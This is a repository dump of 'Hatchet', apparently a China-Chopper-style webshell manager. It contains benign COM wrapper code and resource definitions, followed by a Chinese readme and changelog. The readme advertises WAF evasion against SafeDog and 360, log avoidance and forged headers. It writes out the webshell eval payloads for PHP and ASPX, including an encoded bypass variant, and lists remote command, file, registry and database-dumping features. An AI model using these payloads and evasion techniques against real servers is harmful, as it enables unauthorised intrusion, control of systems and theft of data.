_variant_t & ObjectTypeId ) { 830 | enum RightsEnum _result; 831 | HRESULT _hr = raw_GetPermissions(Name, ObjectType, ObjectTypeId, &_result); 832 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 833 | return _result; 834 | } 835 | 836 | inline HRESULT _Group25::SetPermissions ( const _variant_t & Name, enum ObjectTypeEnum ObjectType, enum ActionEnum Action, enum RightsEnum Rights, enum InheritTypeEnum Inherit, const _variant_t & ObjectTypeId ) { 837 | HRESULT _hr = raw_SetPermissions(Name, ObjectType, Action, Rights, Inherit, ObjectTypeId); 838 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 839 | return _hr; 840 | } 841 | 842 | inline UsersPtr _Group25::GetUsers ( ) { 843 | struct Users * _result = 0; 844 | HRESULT _hr = get_Users(&_result); 845 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 846 | return UsersPtr(_result, false); 847 | } 848 | 849 | // 850 | // interface _Group wrapper method implementations 851 | // 852 | 853 | inline PropertiesPtr _Group::GetProperties ( ) { 854 | struct Properties * _result = 0; 855 | HRESULT _hr = get_Properties(&_result); 856 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 857 | return PropertiesPtr(_result, false); 858 | } 859 | 860 | inline _CatalogPtr _Group::GetParentCatalog ( ) { 861 | struct _Catalog * _result = 0; 862 | HRESULT _hr = get_ParentCatalog(&_result); 863 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 864 | return _CatalogPtr(_result, false); 865 | } 866 | 867 | inline void _Group::PutParentCatalog ( struct _Catalog * ppvObject ) { 868 | HRESULT _hr = put_ParentCatalog(ppvObject); 869 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 870 | } 871 | 872 | inline void _Group::PutRefParentCatalog ( struct _Catalog * ppvObject ) { 873 | HRESULT _hr = putref_ParentCatalog(ppvObject); 874 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 875 | } 876 | 877 | // 878 | // interface _User25 wrapper method implementations 879 | // 880 | 881 | inline _bstr_t _User25::GetName ( ) { 882 | BSTR _result = 0; 883 | HRESULT _hr = get_Name(&_result); 884 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 885 | return _bstr_t(_result, false); 886 | } 887 | 888 | inline void _User25::PutName ( _bstr_t pVal ) { 889 | HRESULT _hr = put_Name(pVal); 890 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 891 | } 892 | 893 | inline enum RightsEnum _User25::GetPermissions ( const _variant_t & Name, enum ObjectTypeEnum ObjectType, const _variant_t & ObjectTypeId ) { 894 | enum RightsEnum _result; 895 | HRESULT _hr = raw_GetPermissions(Name, ObjectType, ObjectTypeId, &_result); 896 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 897 | return _result; 898 | } 899 | 900 | inline HRESULT _User25::SetPermissions ( const _variant_t & Name, enum ObjectTypeEnum ObjectType, enum ActionEnum Action, enum RightsEnum Rights, enum InheritTypeEnum Inherit, const _variant_t & ObjectTypeId ) { 901 | HRESULT _hr = raw_SetPermissions(Name, ObjectType, Action, Rights, Inherit, ObjectTypeId); 902 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 903 | return _hr; 904 | } 905 | 906 | inline HRESULT _User25::ChangePassword ( _bstr_t OldPassword, _bstr_t NewPassword ) { 907 | HRESULT _hr = raw_ChangePassword(OldPassword, NewPassword); 908 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 909 | return _hr; 910 | } 911 | 912 | inline GroupsPtr _User25::GetGroups ( ) { 913 | struct Groups * _result = 0; 914 | HRESULT _hr = get_Groups(&_result); 915 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 916 | return GroupsPtr(_result, false); 917 | } 918 | 919 | // 920 | // interface _User wrapper method implementations 921 | // 922 | 923 | inline PropertiesPtr _User::GetProperties ( ) { 924 | struct Properties * _result = 0; 925 | HRESULT _hr = get_Properties(&_result); 926 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 927 | return PropertiesPtr(_result, false); 928 | } 929 | 930 | inline _CatalogPtr _User::GetParentCatalog ( ) { 931 | struct _Catalog * _result = 0; 932 | HRESULT _hr = get_ParentCatalog(&_result); 933 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 934 | return _CatalogPtr(_result, false); 935 | } 936 | 937 | inline void _User::PutParentCatalog ( struct _Catalog * ppvObject ) { 938 | HRESULT _hr = put_ParentCatalog(ppvObject); 939 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 940 | } 941 | 942 | inline void _User::PutRefParentCatalog ( struct _Catalog * ppvObject ) { 943 | HRESULT _hr = putref_ParentCatalog(ppvObject); 944 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 945 | } 946 | -------------------------------------------------------------------------------- /code/Hatchet/SetpDataDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/SetpDataDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/SetpDataDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/SetpDataDlg.h -------------------------------------------------------------------------------- /code/Hatchet/SetpSiteDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/SetpSiteDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/SetpSiteDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/SetpSiteDlg.h -------------------------------------------------------------------------------- /code/Hatchet/WgetDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/WgetDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/WgetDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/WgetDlg.h -------------------------------------------------------------------------------- /code/Hatchet/explorer1.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/explorer1.cpp -------------------------------------------------------------------------------- /code/Hatchet/explorer1.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/explorer1.h -------------------------------------------------------------------------------- /code/Hatchet/res/Hatchet.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/Hatchet.ico -------------------------------------------------------------------------------- /code/Hatchet/res/Hatchet.rc2: -------------------------------------------------------------------------------- 1 | // 2 | // Hatchet.RC2 - resources Microsoft Visual C++ does not edit directly 3 | // 4 | 5 | #ifdef APSTUDIO_INVOKED 6 | #error this file is not editable by Microsoft Visual C++ 7 | #endif //APSTUDIO_INVOKED 8 | 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // Add manually edited resources here... 12 | 13 | ///////////////////////////////////////////////////////////////////////////// 14 | -------------------------------------------------------------------------------- /code/Hatchet/res/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/Thumbs.db -------------------------------------------------------------------------------- /code/Hatchet/res/asp.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/asp.ico -------------------------------------------------------------------------------- /code/Hatchet/res/aspx.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/aspx.ico -------------------------------------------------------------------------------- /code/Hatchet/res/browse.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/browse.ico -------------------------------------------------------------------------------- /code/Hatchet/res/cmd.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/cmd.ico -------------------------------------------------------------------------------- /code/Hatchet/res/columns.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/columns.ico -------------------------------------------------------------------------------- /code/Hatchet/res/customize.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/customize.ico -------------------------------------------------------------------------------- /code/Hatchet/res/data.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/data.ico -------------------------------------------------------------------------------- /code/Hatchet/res/dir.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/dir.ico -------------------------------------------------------------------------------- /code/Hatchet/res/drive.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/drive.ico -------------------------------------------------------------------------------- /code/Hatchet/res/file_save.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/file_save.ico -------------------------------------------------------------------------------- /code/Hatchet/res/idb_border.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_border.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/idb_caption.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_caption.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/idb_closebtn.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_closebtn.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/idb_maxbtn.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_maxbtn.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/idb_minbtn.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_minbtn.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/idb_tab.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_tab.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/idb_tab_0.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_tab_0.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/idb_traybtn.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/idb_traybtn.bmp -------------------------------------------------------------------------------- /code/Hatchet/res/jsp.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/jsp.ico -------------------------------------------------------------------------------- /code/Hatchet/res/php.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/php.ico -------------------------------------------------------------------------------- /code/Hatchet/res/proxy.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/proxy.ico -------------------------------------------------------------------------------- /code/Hatchet/res/registry.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/registry.ico -------------------------------------------------------------------------------- /code/Hatchet/res/table.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/table.ico -------------------------------------------------------------------------------- /code/Hatchet/res/type.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/res/type.ico -------------------------------------------------------------------------------- /code/Hatchet/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Hatchet.rc 4 | // 5 | #define IDD_Hatchet_DIALOG 102 6 | #define IDD_MAIN 102 7 | #define IDP_SOCKETS_INIT_FAILED 103 8 | #define IDR_MAINFRAME 128 9 | #define IDB_BORDER 129 10 | #define IDB_TAB 130 11 | #define IDB_CAPTION 131 12 | #define IDB_CLOSEBTN 132 13 | #define IDB_MAXBTN 133 14 | #define IDB_MINBTN 134 15 | #define IDI_CMD 135 16 | #define IDI_DATA 136 17 | #define IDI_DIR 137 18 | #define IDI_FILESAVE 138 19 | #define IDI_TYPE 139 20 | #define IDI_ASP 140 21 | #define IDI_ASPX 141 22 | #define IDI_PHP 143 23 | #define IDR_MENU1 144 24 | #define IDD_SETPSITE 145 25 | #define IDD_FILE 146 26 | #define IDD_CMD 147 27 | #define IDD_DATA 148 28 | #define IDD_FILESAVE 149 29 | #define IDD_WGET 150 30 | #define IDI_DRIVE 151 31 | #define IDI_TABLE 152 32 | #define IDI_COLUMNS 153 33 | #define IDD_SETPDATA 154 34 | #define IDD_PROXY 155 35 | #define IDI_PROXY 156 36 | #define IDD_EVALCODE 157 37 | #define IDI_JSP 159 38 | #define IDB_TRAYBTN 160 39 | #define IDD_REGISTRY 161 40 | #define IDI_REGISTRY 162 41 | #define IDD_BROWSE 163 42 | #define IDI_BROWSE 165 43 | #define IDC_SITELIST 1000 44 | #define IDC_TYPETREE 1001 45 | #define IDC_EDIT_FIND 1002 46 | #define IDC_EDIT_SETPSITE_URL 1003 47 | #define IDC_EDIT_SETPSITE_PASS 1004 48 | #define IDC_EDIT_SETPSITE_CONFIG 1005 49 | #define IDC_COMBO_NTYPE 1006 50 | #define IDC_COMBO_NSCRIPT 1007 51 | #define IDC_COMBO_NCODEPAGE 1008 52 | #define IDC_COMBO_FILEPATH 1009 53 | #define IDC_READFILES 1010 54 | #define IDC_FILE_TREE 1011 55 | #define IDC_FILE_LIST 1012 56 | #define IDC_EDIT_FILE_SUBITEM 1013 57 | #define IDC_CMD 1014 58 | #define IDC_EDIT_FILEPATH 1015 59 | #define IDC_EDIT_FILECONTENT 1016 60 | #define IDC_FILESAVE_EDIT_FIND 1017 61 | #define IDC_SAVE 1018 62 | #define IDC_GET_CONTENT 1019 63 | #define IDC_BUTTON_EXECSQL 1020 64 | #define IDC_DATA_TREE 1021 65 | #define IDC_DATA_LIST 1022 66 | #define IDC_COMBO_SQL 1023 67 | #define IDC_COMBO_DATAS 1024 68 | #define IDC_EDIT_DATA_SUBITEM 1025 69 | #define IDC_DATA_CONFIG 1026 70 | #define IDC_EDIT_WGET_URL 1027 71 | #define IDC_EDIT_WGET_PATH 1028 72 | #define IDC_ONWGET 1029 73 | #define IDC_EDIT_PROXY_PORT 1030 74 | #define IDC_STATIC_PROXY_1 1031 75 | #define IDC_BUTTON_PROXY_START 1032 76 | #define IDC_PROXY_LIST 1033 77 | #define IDC_BUTTON_PROXY_STOP 1034 78 | #define IDC_EVALCODE_CODE 1035 79 | #define ID_EVALCODE_OK 1036 80 | #define IDC_BUTTON1 1036 81 | #define IDC_UPPERSTORY 1036 82 | #define ID_EVALCODE_CANCEL 1037 83 | #define IDC_CHECK_JOIN 1037 84 | #define IDC_EVALCODE_CONTENT 1038 85 | #define IDC_COMBO1 1038 86 | #define IDC_COMBO_JOIN 1038 87 | #define IDC_EVALCODE_IMPORT 1039 88 | #define IDC_EVALCODE_EXPORT 1040 89 | #define IDC_COMBO_DEMO 1041 90 | #define IDC_DATA_SETP 1042 91 | #define IDC_REGISTRY_COMBO 1043 92 | #define IDC_REGISTRY_BUTTON 1044 93 | #define IDC_REGISTRY_TREE 1045 94 | #define IDC_REGISTRY_LIST 1046 95 | #define IDC_REGISTRY_CMD 1047 96 | #define IDC_REGISTRY_RADIO_CMD 1048 97 | #define IDC_REGISTRY_RADIO_WSCRIPT 1049 98 | #define IDC_EXPLORER1 1050 99 | #define IDC_COMBO_ADDRESS 1051 100 | #define IDC_BROWSE_OK 1052 101 | #define IDC_BROWSE_STOP 1053 102 | #define ID_Hatchet_ADD 32771 103 | #define ID_Hatchet_EDIT 32772 104 | #define ID_Hatchet_DEL 32773 105 | #define ID_MAIN_FILE 32774 106 | #define ID_MAIN_CMD 32775 107 | #define ID_MAIN_DATA 32776 108 | #define ID_MAIN_ADD 32777 109 | #define ID_MAIN_EDIT 32778 110 | #define ID_MAIN_DELETE 32779 111 | #define ID_MAIN_FIND 32780 112 | #define ID_MAIN2_ADD 32781 113 | #define ID_MAIN2_FIND 32782 114 | #define ID_DATA_GETCOUNT 32783 115 | #define ID_DATA_SETCLIPBOARD 32784 116 | #define ID_DATA_EXPORTHTML 32785 117 | #define ID_FILE_REFRESH 32786 118 | #define ID_FILE_CLEARCACHE 32787 119 | #define ID_FILE_UPLOADFILE 32788 120 | #define ID_FILE_DOWNLOADFILE 32789 121 | #define ID_FILE_WGET 32790 122 | #define ID_FILE_DELETEFILES 32791 123 | #define ID_FILE_RENAME 32792 124 | #define ID_FILE_CHANGETIME 32793 125 | #define ID_FILE_NEWDIRECTORY 32794 126 | #define ID_FILE_NEWFILE 32795 127 | #define ID_MAIN_PROXY 32796 128 | #define ID_FILE_EDITFILE 32797 129 | #define ID_MAIN_EVALCODE 32798 130 | #define ID_MAIN_UPDATEINI 32799 131 | #define ID_MAIN2_UPDATEINI 32800 132 | #define ID_DATALIST_EXPORTTXT 32801 133 | #define ID_DATAT_EXPORTTEXT 32802 134 | #define ID_DATA_EXPORTTEXT 32803 135 | #define ID_FILE_COPY 32804 136 | #define ID_FILE_CUT 32805 137 | #define ID_FILE_PASTE 32806 138 | #define ID_MAIN_REGISTRY 32807 139 | #define ID_REGISTRY_REFRESH 32808 140 | #define ID_REGISTRY_CLEARTHECACHESITE 32809 141 | #define ID_DATATREE_QUERY20LINES 32810 142 | #define ID_MAIN_ 32811 143 | #define ID_MAIN_COPYURL 32812 144 | #define ID_MAIN_BROWSE 32813 145 | #define ID_DATATREE_DROPTABLE 32814 146 | 147 | // Next default values for new objects 148 | // 149 | #ifdef APSTUDIO_INVOKED 150 | #ifndef APSTUDIO_READONLY_SYMBOLS 151 | #define _APS_NEXT_RESOURCE_VALUE 169 152 | #define _APS_NEXT_COMMAND_VALUE 32815 153 | #define _APS_NEXT_CONTROL_VALUE 1039 154 | #define _APS_NEXT_SYMED_VALUE 101 155 | #endif 156 | #endif 157 | -------------------------------------------------------------------------------- /code/Hatchet/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/stdafx.cpp -------------------------------------------------------------------------------- /code/Hatchet/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/stdafx.h -------------------------------------------------------------------------------- /code/Read me.txt: -------------------------------------------------------------------------------- 1 | 免责申明: 2 | 请使用者注意使用环境并遵守国家相关法律法规! 3 | 由于使用不当造成的后果本厂家不承担任何责任! 4 | ------------------------------------------------------------ 5 | 说明: 6 | 我是一个产刀的,用于什么用途,由您自行选择。 7 | 8 | 致谢: 9 | 菜刀某前辈及各位网友的建议 10 | 11 | 弱点: 12 | 存在细节方面没处理好 13 | 数据库与菜刀有所区别不能共用 14 | 15 | 优点: 16 | 持续更新 17 | 快捷键操作 18 | 注册表读取 19 | HTTP头自行控制 20 | Join(只支持PHP语言的CMD功能和自定义代码功能) 21 | 一句话地址URL随机伪造 22 | POST部分数据可自定义,突破安全狗等WAF(一句话需自行处理) 23 | PHP Warning 警告去除,避免某些WAF等记录 24 | PHP支持多种执行命令:system,passthru,shell_exec,exec,proc_open,popen,COM 25 | PHP管理PostgreSQL、ODBC_MSSQL、PDO_MYSQL、PDO_MSSQL数据库 26 | HTTP代理,只完成PHP。支持HTTP[S] GET POST 27 | 文件夹双击进入,树形框的上一层可以点击 28 | 支持NTLM验证 29 | COMBO历史记录 30 | 支持选择数据库后直接执行SQL命令 31 | 数据库右键获取20条记录 32 | 支持JSP上传 33 | 文件[夹]剪切(文件移动机制秒移) 34 | 文件[夹]多选删除 35 | 文件[夹]多选下载 36 | 应该来说不会崩溃 37 | 右键导出数据库查询结果保存TXT,默认每一个字段用一个【TAB】分开,如果需要用其他字符请在填写保存文件名的时候,后面加上&&,紧跟分隔符。如: table.txt&&@_@ 38 | 数据库执行SQL查询时,直接导出到本地文件,不显示到列表框。SQL命令后面加上--file:紧跟要导出到的文件名。如: Select * From Members Limit 0,20--file:1.txt 39 | 支持PHP脚本的数据库管理,远程备份。如: Select * From Members Limit 0,20--save:data.sql--split:@_@ 40 | 41 | 后门: 42 | 缩小体积已加UPX壳 43 | 绝无有意添加的后门,但三流的业余技能不排除被远程溢出的BUG 44 | 文件: C:\Projects\Hatchet_v2\release\Hatchet.exe 45 | 大小: 271872 字节 46 | 文件版本: 1.0.0.1 47 | 修改时间: 2014年11月20日, 10:28:05 48 | MD5: 26C086F13C9C7D26D7B8BFAF6F7F63B4 49 | SHA1: 89F2AFE69523FD88EFE55ED0E815A40C9395B34C 50 | CRC32: A107ADFC 51 | 52 | 快捷键: 53 | SHELL: 54 | INSERT 添加SHELL 55 | DELETE 删除SHELL (在列表框上) 56 | RETURN 编辑SHELL (在列表框上) 57 | CTRL+F 搜索 58 | CTRL+C 复制SHELL (在列表框上) 59 | 60 | CMD: 61 | CTRL+A 全选 62 | CTRL+C 复制 63 | CTRL+V 粘贴 64 | VK_UP 上一条命令 65 | VK_DOWN 下一条命令 66 | 67 | DATA: 68 | CTRL+C 复制 (在树形框上) 69 | CTRL+C 复制 (在列表框上) 70 | F2 数据库配置 71 | 72 | EVALCODE: 73 | CTRL+A 全选 74 | F5 执行 75 | 76 | FILE: 77 | VK_BACK 退格,返回上一层 78 | F5 刷新 79 | F2 重命名 (在列表框上) 80 | DELETE 多选,删除文件 (在列表框上) 81 | CTRL+C 复制文件 (在列表框上) 82 | CTRL+X 剪切文件 (在列表框上) 83 | CTRL+V 粘贴文件 (在列表框上) 84 | 85 | FILESAVE: 86 | CTRL+F 搜索 87 | CTRL+A 全选 88 | CTRL+S 保存 89 | 90 | REGISTRY: 91 | F5 刷新 92 | 93 | /* 94 | [Header] 95 | User-Agent=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 96 | Referer=1 97 | X-Forwarded-For=1 98 | [/Header] 99 | [Headers] 100 | Accept-Language: en-us 101 | Content-Type: application/x-www-form-urlencoded 102 | [/Headers] 103 | [POST] 104 | ASP_POST_DATA==Execute("Execute(""On+Error+Resume+Next:Response.Clear: 105 | 106 | ASPX_POST_DATA==Response.Write("->|");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(%nPageCode%).GetString(System.Convert.FromBase64String("%szBase64EvalCode%")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End(); 107 | 108 | PHP_POST_DATA==@eval(base64_decode($_POST[z0]));&z0= 109 | 110 | PHP_POST_Z0_DATA=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0); 111 | [/POST] 112 | [RandType] 113 | article 114 | news 115 | type 116 | index 117 | view 118 | [/RandType] 119 | 120 | ################################################## 121 | #以下是说明 122 | 请严格保持该格式,大小写不一样 123 | Referer 为1 则程序自动添加 124 | X-Forwarded-For 为1 则程序自动随机生成添加 125 | 如果要自己手动添加其固定值,请设为0,后在[Headers]里添加即可。 126 | [POST]里为POST的部分数据,可自行变异这段代码,过安全狗等,很灵活的哦~ 127 | %nPageCode% 为程序需要处理的编码,请保留 128 | %szBase64EvalCode% 为程序需要处理的执行代码,请保留 129 | [RandType]里为伪造随机URL的列表,格式如:?/article/666666.html 130 | 如果没有数据则不使用,建议多加一些 131 | 默认(是指没有INI配置文件的情况下)如上内容 132 | */ 133 | 134 | ------------------------------------------------------------ 135 | ------------------------------------------------------------ 136 | ------------------------------------------------------------ 137 | 138 | 2013.12.03 139 | * 本地数据库单引号 140 | * CMD选择所有,任意键覆盖 141 | + FileSave CTRL+A 142 | 143 | 2013.12.07 144 | * JSP 传递没有 UrlEnCode 145 | + 增加文件夹下载 146 | * 站点管理,光标URL全选 147 | * szMyBase64Encode.Replace("+","%2B"); 148 | 149 | 2013.12.09 150 | + 增加 HTTP 错误显示 151 | * 修正下载目录,win linux / \ 152 | * 修正'\0'格式化发生的截断 153 | 154 | 2013.12.10 155 | + TAB标签OK 156 | * ASPX脚本编码 157 | 158 | 2013.12.11 159 | * TAB的X范围加大 160 | + PHP脚本过安全狗 161 | 162 | 2013.12.12 163 | * eval preg_replace均可以使用过狗版本 chr(45). 164 | + 稍微完善一下状态栏 165 | 166 | 2013.12.13 167 | * 下载、上传文件开启一个新线程 168 | 169 | 2013.12.18 170 | + asp \r\nOn+Error 过狗 171 | + aspx var err\r\n 过狗 172 | * Shell类型编辑时,内容一样不更新 173 | * 文件管理重命名、更改时间,内容一样不更新 174 | + 快捷键 F2 文件管理重命名 175 | 176 | 2013.12.19 177 | + 增加自写代码 178 | + 增加HTTP头 INI里配置(在主界面右键里,如果文件不存在,第一次自动生成) 179 | 180 | 2013.12.21 181 | * 修正文件内容Linux(\n)换行显示 182 | + 文件内容 Ctrl+F 查找 183 | * 修正多线程,随机IP都一样 184 | * PHP Warning 警告去除 185 | + 自写代码快捷键 Ctrl+A,F5执行 186 | 187 | 2013.12.23 188 | + 增加右键数据库查询结果导出TXT,默认每一个字段用一个【TAB】分开,如果需要用其他字符请在填写保存文件名的时候,后面加上&&,紧跟分隔符。如: table.txt&&, 189 | + 增加数据库执行SQL查询时,直接导出到本地文件,不显示到列表框。SQL命令后面加上--file:紧跟要导出到的文件名。如: Select * From Members Limit 0,20--file:1.txt 190 | * 数据库查询结果显示,计算错误的小Bug 191 | * 数据库错误显示的问题 192 | 193 | 2013.12.24 194 | * UTF8 GBK互换的BUG 195 | 196 | 2013.12.27 197 | + 增加连接数据库代码实例 198 | + 增加命令执行方式(system,passthru,shell_exec,exec,WScript.shell) 199 | 200 | 2013.12.29 201 | + 增加PHP管理PostgreSQL数据库 202 | * PHP MySQL少写z1= 203 | 204 | 2014.01.04 205 | + 增加PHP管理ODBC_MSSQL数据库 206 | 207 | 2014.01.07 208 | * 数据库导出HTML编码设置charset=GBK 209 | * JSP查询数据库错误不弹AfxMessageBox 210 | 211 | 2014.01.08 212 | + Shell列表排序 213 | * Shell日期的月份日期添加前导零 214 | * 修正上传文件大小限制 215 | 216 | 2014.01.09 217 | * 修正CMD,cls清空后上下箭头还原旧内容 218 | 219 | 2014.01.10 220 | + 显示下载进度大小 221 | * 选择保存文件夹可删除|OFN_NOCHANGEDIR 222 | + 文件下载完成,自动打开文件夹选定文件。 223 | 224 | 2014.01.14 感谢luoye 225 | * 文件管理路径处理问题。防止调皮的伙伴C:\\\\\\\\\\\\或C://////////或C: 226 | * JSP db2连接例子有误password=123456;后面有分号。 227 | 228 | 2014.01.24 229 | + 增加标题栏右键系统菜单 230 | + 记忆选择标签,文件管理,文件内容管理,内容关闭,回到文件管理 231 | * 路途再远,也要回家。小伙伴们春节快乐!!! 232 | 233 | 2014.02.11 234 | * 运行软件,如果存在INI,自动加载。之前需要右键才会加载。OnMainUpdateIni(bool bNoCreat=true); 235 | + 过360网站卫士 236 | + POST前一小段数据可在INI里自定义,经研究可突破安全狗等WAF。 237 | "=Execute(\"Execute(\"\"On+Error+Resume+Next: ==> Ini_szASP_POST_DATA + " 238 | "=%40eval%09%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0= ==> Ini_szPHP_POST_DATA + " 239 | 240 | 2014.02.21 241 | + 数据库和文件管理树形框就地编辑,只是方便复制内容,不会改变服务器。 242 | * 修正获取列表框的小问题。GetNextItem < 0 return; 243 | + 增加文件复制,文件剪切(仅PHP) 244 | 245 | 2014.02.22 246 | + 增加文件剪切(ASP ASPX JSP) 247 | 248 | 2014.03.05 249 | * 修正PreTranslateMessage事件处理忘记及时返回 250 | * 